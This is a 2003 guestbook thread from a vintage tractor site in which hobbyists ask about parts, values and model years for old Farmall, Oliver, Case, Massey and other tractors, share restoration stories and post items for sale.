Roger wrote on Friday, October 31, 2003 (PST):I have 1958 "770" For Sale.Tractor is all restored,4 New Tires,Paint, Decals,It Looks and runs like NEW!Ready for Show,Work or Parade!If intrested call me at (603)765-6732
David Fincher wrote on Thursday, October 30, 2003 (PST): I would like to know about the mower mounted on the rear drawbar of the Farmall Regular tractor. What is model of the mower mounted? What is years on different style of the mower mounted? How many it made? Do you have collect any mowers? Don't about 25V or 27V mower (frame T and Tail wheel)David
MICKEY CLIFTON wrote on Thursday, October 30, 2003 (PST): MY FATHER IN LAW HAS A 1952 CASE DIESEL LA. CAN ANYONE HELP US WITH THE VALUE?
Dave Cesan wrote on Thursday, October 30, 2003 (PST):I'm looking for a rear rim for a three wheeled Silver King. If it needs a little patching is OK. Thanks!
Landon Paulson wrote on Thursday, October 30, 2003 (PST):Hello again, I've been considering selling my 1946 D Leader It needs quite a bit of work, alongf with the original motor, nothing that cant be fixed with time and money, that of which being 15 i dont have, so, I've been thinking of letting some one who is capable of fully restoring it and giving it the atention it deserves the pleasure of owning it, this machine has been in the family for the last 57 years so its really hard for me to even consider to let it go, ill let it go if the price is right but im not in a cramp for money, so if it isnt ill just keep it cause it doesnt cost me anything to let it sit there and age. so my e-mail address is lpaulson7000 at hotmail.com i live in alberta canada and the tractor will be sold "as is where is" SERIOUS INQUIRES ONLY PLEASE. thanks for now bye.
Stephen Harlow wrote on Thursday, October 30, 2003 (PST): I have a series 2 D15 gas. I had a D15 diesel raidator rebuilt/modifed to fit my D15 going to a 3 tube raidator solved the heating problem. Very nice enjoyable tractor
GARY MACCOUX wrote on Thursday, October 30, 2003 (PST):STUART; I have the same problem with the coil. Let me know if you solved the problem. thanks
GARY MACCOUX wrote on Thursday, October 30, 2003 (PST):STUART; I have the same problem with the coil. Let me know if you solved the problem. thanks
Mart Pero wrote on Wednesday, October 29, 2003 (PST):I have located a lindeman crawler in pretty poor condition and wondered what it is worth.
marty pero wrote on Wednesday, October 29, 2003 (PST):I have located a lindeman crawler in pretty poor condition and wondered what it is worth.
casey sikes wrote on Tuesday, October 28, 2003 (PST):I recently bought an AC D17 series 3, What color were the rear wheels originally painted? Right now my 17 has white rims with an orange hub. Is this correct?
mike.s wrote on Tuesday, October 28, 2003 (PST):I still use these in the feild.I have three row crop 44`s .Theystill run really nice even thoughIhave to work on them once in a while.I tractor pull with two of them.I them drove them when Iwas a kid to .
M.Matters wrote on Tuesday, October 28, 2003 (PST):I have a 1954 Massey-Harris and am thinking of selling it. As far as I know it's all origional, runs great, definately in used condition and would make a Great restore project. Thing is, I have no clue as to what I should sell it for. Any suggestions on a sell price would be greatly appreciated.
dave powell wrote on Tuesday, October 28, 2003 (PST):wanted to by WD45 diesd wide front axel too restor,please email price ect. regards davie
Al Truscott wrote on Monday, October 27, 2003 (PST):I have a Massey 44 Standard serial # 46477, that I still use, but it needs brake linings. Do you know where I can purchase these.
jason hendrickson wrote on Monday, October 27, 2003 (PST):has anyone heard of a co-op model 3? I have one manufactured in st. paul minn, by the farmers union central exchange. it is based on a dodge truck industrial chassis and i believe it to be made around 1950. I would like to know how to aquire parts for this oddball, pto drive parts in particular. any advice is appreciated. thanks...
Brian wrote on Monday, October 27, 2003 (PST):I just got a T-20 of my own...engine is froze, but it is 99% complete, and has a "new" set of tracks. Has a (aftermarket) Bucyrus Erie blade setup. the blade is missing, but everythink else is in tact. I'm looking for any source for information and or parts. I have a few #'s off the engine..2377DA & 2378DA any ideas? What is the value? Year of Manufacture?
Jeff wrote on Sunday, October 26, 2003 (PST):I had a 1963 560 Diesel and I loved it, I worked it into the ground. I really relied on it and It never failed me once. I love this tractors and glad I bought one. I would love to own one again!
Nelson Hardy wrote on Sunday, October 26, 2003 (PST):1937 T-20 Awsome little crawler, I've got mine fitted with a 7 foot blade a great snow pusher . I have a good set of 16 inch track both sides of running gear some parts usable some not. also parts crawler no motor good contact for magneto parts also I have some misc. parts
Rick wrote on Sunday, October 26, 2003 (PST):It makes me sick to read some of this stuff.Some people should not even touch a Case tractor. My dog knows more than half these guys.
Chris wrote on Sunday, October 26, 2003 (PST):Could anyone tell me whether it is a seal or a gasket on the crankshaft on the back of the motor of a 1945 or 1946 WC? And how do you intsall the gasket or seal around the crankshaft, are there any problems to be aware of and how difficult is it to do myself?
Wayne Stafford wrote on Sunday, October 26, 2003 (PST):I have a Super Dexta that is a TWIN to the one pictured here. How can I know what model year mine is? It's in good running conditon and looks about as good as the picture above. I live in Souther middle Tennessee. If interested contact me by my e-mail (click on name) or phone 931-363-5649 after 6;30 P.M. cst/. U-pick it up with 7' for sickel mower for low price of $3,500.00. First one with the green gets her. Wayne
Earl Cox Sr. wrote on Saturday, October 25, 2003 (PDT):I have a 1950 Farmall M and I need a diagram of the wiring for the lights. The guy I bought it off of converted it from a 6 to a 12 volt and I don't think it did it right If any one has a diagram of the wiring if I could get it or some info on it. Thanks Also I'm looking for a 3-point hitch for it.
Simmie Douglas wrote on Friday, October 24, 2003 (PDT):I was wondering what the going price for a D-21 was,in good condition and if anyone knows where I might find one for sale in east Texas.
Joe Liggett wrote on Friday, October 24, 2003 (PDT):I just got a 1953 Wd45 and its in great shape,changed to 12 volt system, this tractor has the best pulling power of any tractor I've seen. I need to do one thing 4 gear has gone bad, it acts like it wants to go but will set there, other wise, one proud man, got a 3 point hitch with power lift, now I need a mower to put with it.
Tom Roney wrote on Thursday, October 23, 2003 (PDT):In response to Edie's question, The Oliver 550 is a positive ground electrical system.
JOEL wrote on Thursday, October 23, 2003 (PDT):Have a yellow/white cub w/ 5' sickle mower,4 1/2' mid or front-mounted blade, 4' flail mower made by Mott, 2 row cultivator, 1 bottom plow, and a 1 row planter. Serial number 236561. Can anyone tell me how much this total package is worth and the year of the tractor? Tractor runs like a top and have used the blade and mowers several times and all of the attachments have been shedded.
RIchard wrote on Thursday, October 23, 2003 (PDT):I have accumulated a 1948 Case SC and am willing to sell it as a restoration project or as a parts tractor. The fenders aren't real good, but the tractor will make a good project. I do have 2 good rear tires, but the front wheels are bare. Send e-mail if interested!!
Chad wrote on Thursday, October 23, 2003 (PDT):Have a 44 Special. What is the difference between the regular 44 and the 44 Special? How can I tell what year it was manufactured?
Shannon wrote on Thursday, October 23, 2003 (PDT):Want to buy a F-14. Send price, condition, and pic if posible.
Robert L. Scheible 4179 BUCK MTN. ROAD Dover Ar 72837 wrote on Wednesday, October 22, 2003 (PDT):I just bought a farm from my neighbors complete with John Deere L tractor with mid mount mower,one bottom braking plow,cultivator, planter, and spring tooth field cultivator;adapted from M with books all very old and nummerous letters vintage (1940-1950)from JD regarding tractor and equip. I have removed wheels tofind neither back tire had ever had flat,what luck! I have found access to new 7.50x22" rear tires with F-1 firestone cross hatch tires. I had almost given up hope, does anyone need these tires? What is the value of all this? According to book this Herc was 9.9 h.p. Is this correct? I have found many new parts available still through J.D. seat, steering wheel, hub caps,etc
tiffany wrote on Wednesday, October 22, 2003 (PDT):Can anyone tell me what year the leader tractor is in the picture on this site. I am looking for pictures of a 1946. Thanks
Rocky Blades wrote on Tuesday, October 21, 2003 (PDT):I have a Farmall M and H and I like them alot,they run very well. The M I bought and the H use to be my grandfathers, I also have a buzz saw I can use on both tractors. Thanks, Rocky Blades.
Ernest Browning wrote on Tuesday, October 21, 2003 (PDT):I'm looking for TSV-24 carburetor kit for a 1952 Pony...Take it easy
Jos Ignacio ALBUJA wrote on Tuesday, October 21, 2003 (PDT):I have my completely original OLIVER SUPER 55 bought by my grandfather in 1.957. I just used it during weekends only for driving. Unfortunately the injection pump head ( part # HD3663AR, American Bosch) ( in spanish = cabezal ) became brocked. If somebody can advise me how to buy a nerw part, my tractor will work again, and I can invite you to my home in Ecuador. I am a lawyer fut partime farmer. Please help me.
Sally wrote on Tuesday, October 21, 2003 (PDT):Have a Massey Harris 81 and would like to sell it. The front wheel base is very wide in contrast to the one pictured here. It was originally red. Hasn't run in at least 15 yrs and has been sitting out in the weather (Calif weather) We are looking for the value. Seems to me that what it needs is a new engine.
John Otten wrote on Tuesday, October 21, 2003 (PDT):I own a 1066 International (white Cab series) This tractor produced 210 horse power just for fun We used it in the field with 5 furrow 20 inch bottoms and we could pull this plow at 10 mph at 3/4 throttle. We could out pull on dry ground tractors that had 200 horse power 4 wheel drive. I am currently looking for a 1066 to refurbish John Ontario Canada
rgilson wrote on Monday, October 20, 2003 (PDT):the picture you have is a 1944 model c
Harv Wewel wrote on Monday, October 20, 2003 (PDT):I own a Farmall MD, not sure of the age but it has been in my family as far back as I can recall. It has not been used for several years but worked just fine until it was put in the shed. Can anyone tell me a ballpark figure on how much this tractor is worth?
Deltafish wrote on Monday, October 20, 2003 (PDT):Just bought a 1947 ford 8n. Sweet tractor in great shape. It has a front loader, and rear box scraper, both stock. Everything functions and the tractor starts on one one click. Love this little monster. It does need a new gas tank any suggestions?
nick wrote on Monday, October 20, 2003 (PDT):where can i get one?
John Hartman wrote on Sunday, October 19, 2003 (PDT):I have a old ford tractor maby 2N that came with a piece of land I bought in California. It runs good and has several impliments with it. How do I find out more about it. It is a flat head engine with the disturbutor on the front of the block. ??
Edley Guidry wrote on Sunday, October 19, 2003 (PDT):Please take my comment off,Thank You
Les wrote on Sunday, October 19, 2003 (PDT):How does a VAH differ from a VAC and a VAO.
Johnny Mash wrote on Saturday, October 18, 2003 (PDT):NEED 2 WHEEL WEIGHTS FOR A 550 TO FIT FRONT WHEELS.
Dustin wrote on Saturday, October 18, 2003 (PDT): I think it is nice.It would make a good all around tractor from farming to cutting grass.A Masey Ferguson is a good and strong tractor.Do you have a Massey Ferguson? I don't.
Dustin wrote on Saturday, October 18, 2003 (PDT): I think it is nice.It would make a good all around tractor from farming to cutting grass.A Masey Ferguson is a good and strong tractor.Do you have a Massey Ferguson? I don't.
Ronald Legault wrote on Friday, October 17, 2003 (PDT):hi i still have my massey-harris 81 it,s all restored and in perfect shape four new tires and a new engine (rings)i alsohave a massey-harris 44 with a massey-harris model10 loader one mssey-harris number1special baler all restored i need agas motor to put on the baler right now she has a pto shaft i live in St.Eugene ontario canada a small town near montreal everyone is welcome to come and see my equipment and send me information where i can find more massey-harris equipment thanks to all massey fans
Reggie Rackliff wrote on Friday, October 17, 2003 (PDT): Bought a 420C fourteen years ago for $2000. and have put at least that mucch more into it. Well worth it. Good power toweight ratio. Retired to plow snowbanks back and pull out a little firewood. It has a no. 62 blade and Braden pto winch that works real nice. Keep Crawlin'...
Kent Dacke wrote on Friday, October 17, 2003 (PDT):I was looking for a tractor with a loader when I found (stumbled) onto my Super 55. It was a late 1958. It came with optional power steering, front and rear hydrolics with fluid control and of course an Oliver loader. I improved the iginition system by replacing the coil, points and condensor by installing electronic igintion from Genessee Products for less than $100.00. I highly recommend doing this to any point operated machine. It now saves the starter motor and a few choice words. I now only have to touch the iginition switch to fire up the engine... without using the choke! The kit comes complete with easy to follow instructions and high output coil that looks stock and mounts where the original mounted. The module and magnetic pick up are concelled in the distributor. It took less than thirty minuets to install. No one would ever know until they saw the extra wire... and then probably would never make the connection that it was converted. Yes, I love my 55. Ford 8 and 9N owners come over to drool. But there is no compairson between the two. I do need a replacement dampner for the "Easy Ride" seat if anyone can help. Please contact me at kdacke at hotmail.com.
Mitch wrote on Friday, October 17, 2003 (PDT):I have an IH 340 Utility with front end loader. I'm looking to sell to obtain a FWD. Good shape, looks great, can e-mail pics.
Larry Gibbs wrote on Thursday, October 16, 2003 (PDT):I have a borther-in-law with a 1963 Ford Dexta gas tractor who might be interested in selling it. Runs good, and looking at his options.
JERRY PICKERT wrote on Thursday, October 16, 2003 (PDT):A FREIND OF MINE LOOKING TO SELL 1927 FARMALL REG. WHAT IS THE GOING PRICE FOR ONE THAT IS IN GOOD CONDITION?
george wrote on Thursday, October 16, 2003 (PDT):hello, everybody i got a cockshutt tractor i think it is a 1949 or 50 the engine no. is 6b230 the serial no.40-2599 can you tell me the year.thank you
cody gibbs wrote on Wednesday, October 15, 2003 (PDT):i have a old pennslyvania panzer and i was wondering if u would know how much it would be worth if it was restored or if it was worth restoring it. im guessing it is around a 40-50 model. i would sure appriciate it if u could find that out for me. thanks cody.
jeff brown wrote on Wednesday, October 15, 2003 (PDT):I know nothing about computers , but I recently bought an f-14 and am looking for front steel wheels.I am a long time IHC fan and would love to fix this one up real nice.
Lewis wrote on Wednesday, October 15, 2003 (PDT):I need a G with a cultivator and sickle mower.
Terry Lohamn wrote on Wednesday, October 15, 2003 (PDT):Am interested in purchasing one if available. Please cal of e mail 231 893 3485 Ask for Terry
Sande Hooks wrote on Wednesday, October 15, 2003 (PDT):My husband and I just started the restoration of a 1944 Case SC. It was his Great Grandfather's tractor, and its in decent shape, but will take some work. If any one has any pointers on paint, and decals please let us know. We can use all the help we can get. Thanks, Sande
Rob wrote on Tuesday, October 14, 2003 (PDT):I have owned 2 M's-1 B-2 H'S,340,560,AND A 1066 AND LOVED THEM ALL.I want to find a 400 gas with fast hitch for my Dad,but I need to sell or trade my M before I do this,but my Dad grew up on a400 and it is important to me to get one for him
Ron Freeman wrote on Tuesday, October 14, 2003 (PDT):I have a 1948 Oliver Cletrac HG 60". It is 99% restored. It has bin converted from mag to coil. The only new parts were u-joints, gas cap & radiator cap. I bought the tractor for $50.00. The only motor work required was a valve job.
Scott wrote on Monday, October 13, 2003 (PDT):I just bought my 1st tractor, it's a 1949 8n. I & my wife own a horse& goat farm in Pilot Mountain, NC. I will be using the tractor for scraping, bushoging that type of stuff. Can anyone give me advice on what sixe equipment to buy? The tractor uas restored in 2001, rebuilt engine, trans,brake, sterring,converted to 12 volt. Pretty much all new. I thinking we will have a ball with it. Thanks for the sight.
Scott wrote on Monday, October 13, 2003 (PDT):I just bought my 1st tractor, it's a 1949 8n. I & my wife own a horse& goat farm in Pilot Mountain, NC. I will be using the tractor for scraping, bushoging that type of stuff. Can anyone give me advice on what sixe equipment to buy? The tractor uas restored in 2001, rebuilt engine, trans,brake, sterring,converted to 12 volt. Pretty much all new. I thinking we will have a ball with it. Thanks for the sight.
Jan Brinkman wrote on Monday, October 13, 2003 (PDT):Kevin Parks, I'm in the middle of restoring a cub jr. and have found that The Massey Tractor Data Book has the paint colors. It is also very helpful with identifing models. I'm looking for water return pipe from the left side of the block down to the radiator. Good luck with your proj. Jan brinkman
bill wrote on Sunday, October 12, 2003 (PDT):hi i have a inter aw7 and am chasing a crankshaft can anyone tell me if it is called by another name thank you bill
Ed gaskill wrote on Sunday, October 12, 2003 (PDT):My dad has a350 utility deisel. I think the serial#is 360553rs d. Does anyone know what year thiis would be? He also has some equipment for sell. Baler,combine,rake,plow disc.S.W.Pennsylvainia
Gary Brady wrote on Sunday, October 12, 2003 (PDT):I bought a 1951 TO-20 thru Ebay in Sept. of this year. Since then, I have purchased many parts thru ebay. I have had good luck with finding and buying parts. I would like to know if anyone knows the original paint color codes for the Ferguson TO-20 tractor. Thaks
M Hicham Wati wrote on Sunday, October 12, 2003 (PDT):we interested in fordson super major tractors for breaking in any condition and in fordson super major spare parts like(engines,backend,gearbox...) please provide us if you have any of our request. e.mail;watico at scs-net.org
M Hicham Wati wrote on Sunday, October 12, 2003 (PDT):we interesting in Fordso Super MAJOR TRACTORS FOR BREAKING IN ANY CONDITION AND IN FORDSON SUPER MAJOR SPARE PARTS LIKE(ENGINES,BACKEND,GEARBOX...) THANK YOU
Bob Tetrault wrote on Saturday, October 11, 2003 (PDT):I have a 1939 9N that will not fire spark to the plugs and there has been a new coil, points, plugs, etc. installed and the distributor will fire out of the tractor.... anyone have any suggestions ? Thanks in advance !
Bob wrote on Saturday, October 11, 2003 (PDT):Just acquired an AC...with a serial number beginning "W", no other markings..Since I am a Farmall Guy, I have little experience with the ac..any idea what I might have ? It needs a lot of work, narrow FE.Looks like it might hasve had solid rubber wheels in front..hand brakes..straight exhaust..maybe missing front cowling of radiator,looks might solid..no pto..any infor appreciated.
BIG PETE wrote on Friday, October 10, 2003 (PDT):I Just recently bought a W-4 i need a hood for it live in so. minn. can anyone help me out thanks Pete
Bud Risner wrote on Friday, October 10, 2003 (PDT):We Have A D-15 Gas Tractor.We just re-built the engine and need a diegram or book that shows the govner linkage.The machine shop re-moved this assembly befor we looked at it.We would appreciate any help we can get. Thanks AC Collecters.
Larry wrote on Friday, October 10, 2003 (PDT):Hi all, I have a chance to by a 300 roundnose? I think because the sheetmetal is missing and the owner says it's between 1956-58.Anyway do you guys think this is a good puller?
Chris wrote on Friday, October 10, 2003 (PDT):I have a 1950 ZAU and I LOVE that tractor. Looks good all painted up too. The tractor in the picture is a ZBU. You can tell by the steering column and how it sticks up out of the dash. The ZA's had the steering shaft run down along side of the tractor.
Jeff wrote on Friday, October 10, 2003 (PDT):I am very interested in buying a M for my own personal use; This tractor really catches my eye for some reason; Can anyone tell me the horsepower of these units. Did power steering come with it or are they after market I've been seeing on the net; Did they come with live hdy and pto;
Ray Baker wrote on Thursday, October 09, 2003 (PDT):'Have a totally restored ID6 in the family!!! I spent many hrs. in the saddle in the 50s & 60s. It is 1944 model, industrial in orgin, adapted for farm use. It looks 7 acts laike a new machine!!!
rodney wrote on Thursday, October 09, 2003 (PDT):I have a Farmall Super c with a stuck engine for sale $800.00,A complete set of cultivators $150.00.A sickle bar midmount mower $200.00
Brandon Winter wrote on Thursday, October 09, 2003 (PDT):I have a waukesha i think a G4 but i know nothing about it the model # is G4SP-84-5515 the serial # is SP1015 really anxious about what it is
Glen M wrote on Thursday, October 09, 2003 (PDT):Just bought MF135 believe its a 1964,I like to know the type and amount of oil to use,with filtor replacement
Bruce Dru mmond wrote on Thursday, October 09, 2003 (PDT):I have a VAO-15 serial number 6011976 for sale ( have digital pictures ) It looks more like a VAC and has the muffler below the floor board, also comes with a two furrow CASE plow with it.
Bruce Dru mmond wrote on Thursday, October 09, 2003 (PDT):I have a VAO-15 serial number 6011976 for sale ( have digital pictures ) It looks more like a VAC and has the muffler below the floor board, also comes with a two furrow CASE plow with it.
Bruce Dru mmond wrote on Thursday, October 09, 2003 (PDT):I have a VAO-15 serial number 6011976 for sale ( have digital pictures ) It looks more like a VAC and has the muffler below the floor board, also comes with a two furrow CASE plow with it.
CLIFF KYLE LEESBURG GEORGIA wrote on Wednesday, October 08, 2003 (PDT):HELP.....NEED PARTS....I HAVE A 1953 MM UB U SERIAL # 05801809 WITH ENGINE MODEL 283B SERIAL # 06103478..4 CYLINDER GASOLINE ENGINE....I AM JUST DIASSSEMBLING THE ENGINE FOR REPAIR...I NEED A SOURCE FOR PARTS...THANKS
Edie Bocksnick wrote on Wednesday, October 08, 2003 (PDT):Can anyone tell me if the Oliver 550 is suppose to be a positive ground system? That was the way it was connected when we bought the tractor. It appears to be having electrical problems and I was just wondering if that was part of the problem. Any help would be appreciated.
Rod Talor wrote on Tuesday, October 07, 2003 (PDT):Looking for a good 830. please send price and condition.
ckwagoner wrote on Tuesday, October 07, 2003 (PDT):im looking for any information on a 1947 or a 1948 farmall international h series tractor , if anyone has any pictures or information please email me, thanks
Jeff Knaack wrote on Tuesday, October 07, 2003 (PDT):My Dad had a "G", not sure what year, a later one. We called it Big John, because the model "MT" was Little John. I remember the removable "steering wheel" that Dad used to crank it to start it.
Jeff Knaack wrote on Tuesday, October 07, 2003 (PDT): Dad started farming with a 1948 MT, farming a quarter section. He later added a "G", so he had a Big John and a Little John. His neighbor bought Little John at the farm sale, and still uses it to mow with a belly mower.
Bo Earhart wrote on Tuesday, October 07, 2003 (PDT):I am in the process of looking to purchase an Oliver tractor. I am currently looking at the Super 55 and the 550. Does anyone have any input on which one they prefer or how they compare to one another?
JOE wrote on Monday, October 06, 2003 (PDT):My Dad bought two model R one in the spring of 1970 the other a year later.They replaced a model G and A. The power they had was ubelivable compared to the old G and A. We also had two 70 that were newer but could not touch the R for power. They are 1949 and 1951 model. We used them for many years until we bought a 4020 and later a 4440. We still have one of the R and despite the power and comfort of the 4440, there will never be a tractor like the R. Joe
Larry Hill wrote on Monday, October 06, 2003 (PDT):My Father and Uncle purchased a 1941 OLIVER 60 with wide front new to custom harvest during the War. They farmed in Clark County, Washington. A few years ago my cousin sold the tractor for $50.00 and did not notify me. I called the person that bought it and he stated he got it running and sold it to another person that he thought was moving to Yakima, WA. I would love to have the tractor back and know I will probably have to pay more. It had a six cylinder motor, wide fenders, six forward speeds, and wide front.
Mike Lewis wrote on Monday, October 06, 2003 (PDT):My D17 has a 12 volt system and the wiring fried from the generator to the amp gauge and from the starter solenoid to the amp guage. The battery was hooked up with a negitive ground. Is this the correct hook up Negitive ground or is it a positive ground. Thanks for any help!
Diana Smith wrote on Sunday, October 05, 2003 (PDT):I have a friend who has been looking for one of these tractors. Do you know of anyone who would like to sell?
james wrote on Sunday, October 05, 2003 (PDT):l have a Massey Harris 20 year 1947 l am having a problems with it the points are not making a big enought spark to start it but the batteries are brand now what is the problem with it
kurt wrote on Sunday, October 05, 2003 (PDT): Got three oliver 1855,1955 ,look for part Tractor. l used then ever day .drop me a line. l work with oliver all my life all sizes to.
wilburn wrote on Sunday, October 05, 2003 (PDT):i just bought me an allis -b .and am looking for a belly mower to fit it .i live in northeast ms.i also have a set of cultivators that are set up for hyd lift i would trade them in on the mower if anyone is interested
Charles Salyers wrote on Saturday, October 04, 2003 (PDT):I am looking for a frontend loader for 300 utility any help would be appreciated in Ohio.
ofer eyal wrote on Saturday, October 04, 2003 (PDT):i would like to know how the ingine of the 15-30 work....especially the combination of the two carburators, one for gasoline and the other for water....is why this method was stoped please if there any written material about it, please give some reference or information.
Allen Huber wrote on Friday, October 03, 2003 (PDT):My Dad bought a new 830 in 1959 Iwas 9 years old he bought the tractor five bottom plow packer pony drill for 6000.00 it was awonderful tractor I spent a good part of my youth on that tractor you could work all day on 35 gallons of fuel I still have the original operator,s manual. 701-255-3019
A. Thoron wrote on Friday, October 03, 2003 (PDT):I am looking at an Oliver 880, it is a diesel good tin and over all in good shape. I was wondering what it is worth? Thanks
snake wrote on Friday, October 03, 2003 (PDT):I bought a 97MASSEY FERGUSON from an old boy in Dumont Ia. back in April of 2003.I went to the sale for this tractor.It cost 1800.00 bucks.The tractor was made by the Minneapolis Moline company,and has a 504 ci.diesel engine made by M.M..It is a 1963 model and does not have the optional front wheel assist . I wanted the tractor for pulling. It weights 8250 stripped down and has 100 hp. If you get the weight on the tractor right the tractor will take care of its self! I have 4 2nd place trophys and 9 1st place trophys. Would of mayby had more but i put the weight in the wrong place . Amagin that. I love this tractor and have had the heavy looking frontend 2 to 3 foot off of the ground. What a rush! They pull good and have an honest 100hp. The only thing i would not recommend with this tractor is backing a wagon up over about 10 ft,you cant get ahead of the wagon.this winter i am going to have the tractor painted and will put the pics. in this column when i am done.
Steve wrote on Friday, October 03, 2003 (PDT):I have a D-19 deisel that needs some help and would like to buy a parts one reasonably priced, any help would be great.
Jeremy wrote on Thursday, October 02, 2003 (PDT):I bought a tractor this spring and it is not repainted but looks identical to this one, I have it all repaired and pony and diesel are now running good, my dad just bought a Case 600 deisel and we chained them together and neither could get enough traction, but the 720 really impressed me.
Ryan O'Leary wrote on Thursday, October 02, 2003 (PDT):I have 3 Pony's and a Pacer,all like new.My question is,I have a 2-way plow (left & right) and I don't know how to hook it up,or operate it independently?
Gus Zimmer wrote on Thursday, October 02, 2003 (PDT):Hi, I just inherited a Ford 800 tractor with PTO & 3 point hitch. Can anyone tell me if it has a dual range transmission? When I start it, it seems to be going too fast. Also, how can I find out how old it is? Thanks for your help. Gus
tamios hachem wrote on Thursday, October 02, 2003 (PDT):looking for a tractor 3 pt. diesel only close to 3000 cad
Butch Hull wrote on Wednesday, October 01, 2003 (PDT):I have a 1935 F-30 It's color is suppose to be a gray on the body and a red on the wheels can any one get me the right name of these colors and the paint codes ? thank you ! I also have a tractor pull Intr. combine with a 10 foot header and a hercules engine . Can any one tell me where I might find the year of it . I think it is in the 30's ?
Butch Hull wrote on Wednesday, October 01, 2003 (PDT):I have a 1937 unstyled Allis all restored with a allis roto baler behind it all restored they love it in shows , I have just aquired a unstyled wide front end 1937 Allis how many of them were made never seen any before,has any one got an idea? What can one get out of of these ? not going to sell just wondering.
michael wrote on Wednesday, October 01, 2003 (PDT):I need to know were to get a conversion kit so I can use 3 point implements. Thanks
Don Garrett wrote on Sunday, September 28, 2003 (PDT):I've been looking at an "English Ford" tractor as the owner calls it. It's a deisel 3 cyl., Simms pump on the engine, the owner claims it's a 65 model. Do you have any information on this? The stamped serial # 145707 H is on a milled boss on the left side of the engine. On the right side of the tranny case,is cast EnFo T-4 under that is 957E-7005. It definately has the N steering and 3 pt. Any info is appreciated. Thanks, Don.
Mel wrote on Sunday, September 28, 2003 (PDT):Looking for info, parts (engine block) availability for a model X rumeley, any help appreciated. Mel
mike castle wrote on Sunday, September 28, 2003 (PDT):I HAVE A 1959 880 DIESEL IN EXCELLENT SHAPE THAT I MIGHT PART WITH FOR THE RIGHT PRICE.WE USE IT DAILY ON OUR FARM WITHOUT A PROBLEM.WOULD CONSIDER SALE TO GOOD HOME.301-478-2193
Theresa Curtis wrote on Sunday, September 28, 2003 (PDT):We have a Super 55 Oliver, and need some parts for it.We think it needs gears for the rear-end and pto. If anyone can help please respond by emailing back or can call 573-754-6608. Thanks for your help!
Bryant Noot wrote on Sunday, September 28, 2003 (PDT):What is the value of a 50 Cockshutt. Completely restored.
Dale L. Wallace wrote on Saturday, September 27, 2003 (PDT):I Have a General Tractor that I bought at an Auction sale this summer. I had it painted safety orange thats as close to the color that we could find. It's about a 1939 model with a single front tire and runs real good.
Rebecca Gottberg wrote on Friday, September 26, 2003 (PDT):I contacted Henry Hahn (see above message) and he sent me a list of people with Leader Tractors who are members of the Leader Tractor club. They were from all over the U.S. and Canada. Thanks so much!! In fact, I think they just had a national gathering in Ohio this summer.
Bill wrote on Wednesday, September 24, 2003 (PDT):My dad always wanted a D21. He begged my grandpa to buy one for their farm, but grandpa said that they already had a D17, and that was big enough for them.
Bob wrote on Monday, September 22, 2003 (PDT):I am in need of rebuilding our Gs engine purchaced in 1954? Plugs getting fowled by oil being burned. Have also rod knock. Where to start for engine parts that will be needed. We have the plow, cultivators, and sickle bar so this unit was still being used and now being missed.
Kevin Wiese in CT wrote on Monday, September 22, 2003 (PDT):hello leader fans!! i have aleader 48D. i have been toying with the idea of restoring it, but untill now i was at a stand still in searching for info. this forum seems like a great place to get some. out here on the east coast no one has even heard of a leader tractor. mine runs great except for a rusted out manifold, which can be bought new still. it is all rusty and over the years it has had some quick "farm fixes." i would love3 to see somr pics of restored leaders as a reference, as well as magazine articles, web site info as well as club info. any and all info would be great Thanks for all of your time
ziggy grzybowski wrote on Sunday, September 21, 2003 (PDT):hello I need A couple headgaskets for A oliver OC46 3cyl.gas crawler about A 1960 or 62
doug bockey wrote on Sunday, September 21, 2003 (PDT):nice massy i have a 101 super senior.and i need parts for it can anyone can help me
Scott Bartlett wrote on Saturday, September 20, 2003 (PDT):I'm looking for a block for a Oliver 1550. I believe it's the same block used in a 770. I'm located in VT and could travel or have shipped if necessary.
John P. Martine wrote on Friday, September 19, 2003 (PDT):I need to speak with or e.mail someone that owns a Case VC. I have a VC that I bought from a gentleman in far north MN. I'm in the Houston area. I have a hole in the left side of the engine block that might be a drain hole for the block. Maybe, just maybe there was suppose to be a drain valve there. Also, I CAN NOT find where it ever had a oil filtering system. I have a book on the Continental engine. Pictures in that book indicate the filtration system was on the left side, just forward the starter inside a cylinder that had tubing running off of it. Do any of you have any manuals or can you take digital pictures of your VC to aid me in my restoration project? Any assistance would be GREATLY appreciated. --John P. Martine
Kevin Van Damme wrote on Thursday, September 18, 2003 (PDT):I have just purchased my dad's 1956 Cochshutt 40 Deluxe with my sister. It was a get tractor as I was growing up. Our plan is to go to shows for others to remember.
THE SCHAEFER FAMILY wrote on Thursday, September 18, 2003 (PDT):WE ARE LOOKING TO BUY A OLIVER 70 ORCHARD TRACTOR. HOPEFULLY IN A GOOD CONDITION. IF YOU ARE SELLING OR KNOW SOMEONE WHO IS PLEASE CONTACT. THANK YOU
Kevin Kobbe wrote on Wednesday, September 17, 2003 (PDT):The 1066 and 1566 are the best farmall of all they will out do any thing johndeere everhad at that time period !!!! We currently have a 656 2mta f20 sh . Both sets of my grandparents were all I.H. and my dad too. THE HECK WITH DEER !!!!!!!! PHONE 6605643514 OR 6605643544
806 with a new pump wrote on Tuesday, September 16, 2003 (PDT):my 806 fual pump went out last month. my cusin and i put the new pump in and turnd her up. now in sted of 100 hp she has 120 and no turbo. she sure sonds nice. i skup with a 2705 mf and hall with a 856 with turbo and the 856 does sound nice. aspeshaly with 2 demco 360 going up hill.
Tom Dickerson wrote on Tuesday, September 16, 2003 (PDT):I'm about to get a real good deal? On a B model CULTI-VISION. It does howver have a cracked block. Is that a normal malady for this tractor? Are the blocks hard to find and expensive? The S/N is F.A.B. 182141, from what I have been to find out that means it was manufactured in 1947
Tom Dickerson wrote on Tuesday, September 16, 2003 (PDT):I'm about to get a real good deal? On a B model CULTI-VISION. It does howver have a cracked block. Is that a normal malady for this tractor? Are the blocks hard to find and expensive? The S/N is F.A.B. 182141, from what I have been to find out that means it was manufactured in 1947
jason wrote on Sunday, September 14, 2003 (PDT):I think the reason JD is green is because they cst so much money to repair when you blow the stupid thing up.
Dylon Miller wrote on Saturday, September 13, 2003 (PDT):Just started collecting these neat tractors. My mother bought me one and I'd like to see more of these beauties at the tractor pulls and steam shows!
dave guest wrote on Friday, September 12, 2003 (PDT):love them red cubs have had one for 20 years and 6 million gray hairs cut 4 acres never rebuilt have igniton problem now will never buy japanese or chinese tractor no personality pulled out 4x4 trucks rockwood michigan
Donna WInn wrote on Friday, September 12, 2003 (PDT):My husband has a LEADER- What site do I go to and enter the serial number and type to get information about this particular tractor? Thanks
